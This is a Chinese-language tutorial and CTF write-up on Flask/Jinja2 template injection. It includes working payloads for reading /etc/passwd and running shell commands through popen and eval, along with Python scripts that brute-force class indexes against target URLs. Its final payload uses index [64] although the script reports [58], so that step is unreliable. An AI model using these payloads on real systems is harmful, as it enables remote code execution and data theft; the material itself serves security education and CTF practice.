1、原理简述
flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。
from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/test') def index(): str = request.args.get('myon') html_str =''' <html> <head></head> <body>{{str}}</body> </html> ''' return render_template_string(html_str,str = str) if __name__ == '__main__': app.debug = True app.run()
上面代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析
而当我们将代码改为
from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/test') def index(): strinput = request.args.get('myon') html_str =''' <html> <head></head> <body>{}</body> </html> '''.format(strinput) return render_template_string(html_str) if __name__ == '__main__': app.debug = True app.run()
这里我们可以控制输入,这是直接进行渲染,并且会进行解析
比如我们传入?myon={{7*7}}便会得到49的回显,说明被执行了
{{}}是变量包裹标识符,不仅可以传递变量,还可以执行一些简单的表达式
2、常用payload及相关脚本
首先进行一个简单判断,确实存在SSTI
(1)''.__class__
//读取当前类
(2)''.__class__.__base__
//读取当前类的父类
(3)''.__class__.__base__.__subclasses__()
//读取object下的所有子类
(4)''.__class__.__base__.__subclasses__()[xx]
//选择其中的一个子类
(5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__
//初始化并加载该类下的可用函数
(6)函数调用
注意:至于为什么用的是79,117,64,看完(7)就明白了
① 子类可以直接调用的函数
比如文件读取<class '_frozen_importlib_external.FileLoader'>类下的get_data函数
''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")
② 重载函数
比如危险函数popen
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()
//不加read()返回的是地址
加上read()
③ 内嵌函数
先使用__builtins__加载内嵌函数,再调用内嵌函数
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
//eval()里面就可以写python代码
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
(7)常用脚本
注意:针对题目有无参数以及传参方式的不同我们需要写不同的脚本
① 找类的位置
import html import requests url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url def find_class_num(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text //本题是只允许post传参 htmltest =html.unescape(re) print(htmltest) if '_frozen_importlib_external.FileLoader' in re: //替换成你想查找的类 print(i) return i find_class_num() //如果存在这个类,则会输出该类所在位置
跑完之后我们发现存在_frozen_importlib_external.FileLoader这个类,且位置是[79]
接下来便可调用该类下的get_data函数去进行文件读取【参考 (6)①】
② 找危险函数eval、popen位置
import html import requests url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url def find_eval(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text //这里也是post传参 htmltest =html.unescape(re) # print(htmltest) //只找函数位置,若想看详细回显则可以取消注释 if 'popen' in re: print(i) return i find_eval()
跑出来发现位置为[64],接下来我们便可利用内嵌函数eval 进行命令执行【参考(6)③】
这个脚本同样适用于找popen函数,有一点小修改
因为popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__
(其实也不一定,可以加上和去掉都试试,因为具体情况还是取决于题目给的环境)
import html import requests url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url def find_popen(): for i in range(500): parm_name='code' parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__}}" //popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__ data = {parm_name:parm_value} print(data) re = requests.post(url,data=data).text htmltest =html.unescape(re) #print(htmltest) if 'popen' in re: //修改查找的函数名 print(i) return i find_popen()
发现也存在,位置是[117],用法参考【(6)②】
准确来说我们是先找popen函数,没找到再去找eval函数
如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。
(8)比较通用的脚本
各位可以自己测试和修改
import html import requests url='' parm_name='' def find_class_num(class_name): for i in range(500): parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}" data = {parm_name:parm_value} re = requests.post(url,data=data).text htmltest =html.unescape(re) print(htmltest) if class_name in re: print(f"{class_name}所在的位置:",i) return i def find_eval(func): for i in range(0,500): parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" data = {parm_name:parm_value} # print(data) print(f"正在查找第{i}个类下的{func}") re = requests.post(url,data=data).text htmltest =html.unescape(re) # print(htmltest) if func in re: print(i) print(f"find,利用:{parm_value}") return i if __name__ == '__main__': print("请求方式是post,get方式请更改函数里面的请求参数。") url = input("输入URL:") parm_name = input("输入参数:") choice=eval(input("操作:1,查找类,2,查找内嵌函数:")) if choice==1: class_name = input("输入查找类:") find_class_num(class_name) if choice ==2: func = input("输入查找的函数:") find_eval(func)
(9)__mro__[xx]
这个也是用来读取父类,和__base__类似,因为有时候base会被过滤掉,我们就可以用这个,
里面的xx表示你要读取它的上几级,比如__mro__[1]就相当于__base__ 都是读取上一级类型,
但xx不一定为1,可以往上读取很多级,只要它存在更高级别的父类就可以。
比如:
使用base查找发现不对
换用mro,便可以找到(前提是这个object父类存在)
3、实战:攻防世界 Web_python_template_injection
eval、popen、import这些函数都可以跑,有时候在重载,有时候在内嵌,最好都试试
这道题是不支持post传参,这里我们编写get传参的脚本
import html import requests url='http://61.147.171.105:59139/' def find_class_num(): for i in range(0,500): # parm_value = "{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}" //跑类位置 parm_value ="{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" //跑函数位置 # data = {url+parm_value} # print(data) print(url+parm_value) re = requests.get(url=url+parm_value).text # print(re) # print(htmltest) if 'eval' in re: print(i) return i find_class_num()
跑出eval函数位置在[58]
直接上前面讲过的与eval函数有关的payload,并修改位置即可
所以payload为:
{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
发现fl4g,直接调用cat命令:
{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}
拿到 ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
后面会继续介绍SSTI模板注入的常见绕过,谢谢关注与支持!